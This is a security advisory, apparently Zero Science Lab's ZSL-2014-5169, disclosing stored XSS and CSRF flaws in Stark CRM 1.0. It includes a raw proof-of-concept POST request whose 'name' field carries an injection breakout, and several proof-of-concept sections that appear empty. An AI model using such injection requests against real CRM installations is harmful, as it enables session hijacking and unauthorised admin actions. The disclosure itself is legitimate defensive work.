Stark CRM v1.0 Multiple Script Injection And Session Riding Vulnerabilities Vendor: IWCn Systems Inc. Product web page: http://www.iwcn.ws Affected version: 1.0 Summary: This is a light weight CRM which simplifies process of managing staff, client and projects. Desc: Multiple stored XSS and CSRF vulnerabilities exist when parsing user input to several POST parameters. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site and/or execute arbitrary HTML and script code in a user's browser session. Tested on: Nginx, PHP, MySQL Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5169 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5169.php 03.02.2014 -- CSRF (Add Admin): ################
Stored XSS (parameter: name): ############################ POST /testing/index.php?page=add_ticket HTTP/1.1 Host: lab17.zeroscience.mk User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://lab17.zeroscience.mk/testing/index.php?page=add_ticket Cookie: PHPSESSID=51422dfc2ef2d3569e778d06d20c7a25 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------94321629522129 Content-Length: 592 -----------------------------94321629522129 Content-Disposition: form-data; name="name" ">
    -----------------------------94321629522129
    Content-Disposition: form-data; name="project"

    1
    -----------------------------94321629522129
    Content-Disposition: form-data; name="description"

    ZSL
    -----------------------------94321629522129
    Content-Disposition: form-data; name="file"; filename=""
    Content-Type: application/octet-stream

    -----------------------------94321629522129
    Content-Disposition: form-data; name="submit"

    -----------------------------94321629522129--

    Stored XSS (parameters: first_name, last_name, notes):
    #####################################################
Stored XSS (parameters: insu_name, price): #########################################
Stored XSS (parameter: status[]): ################################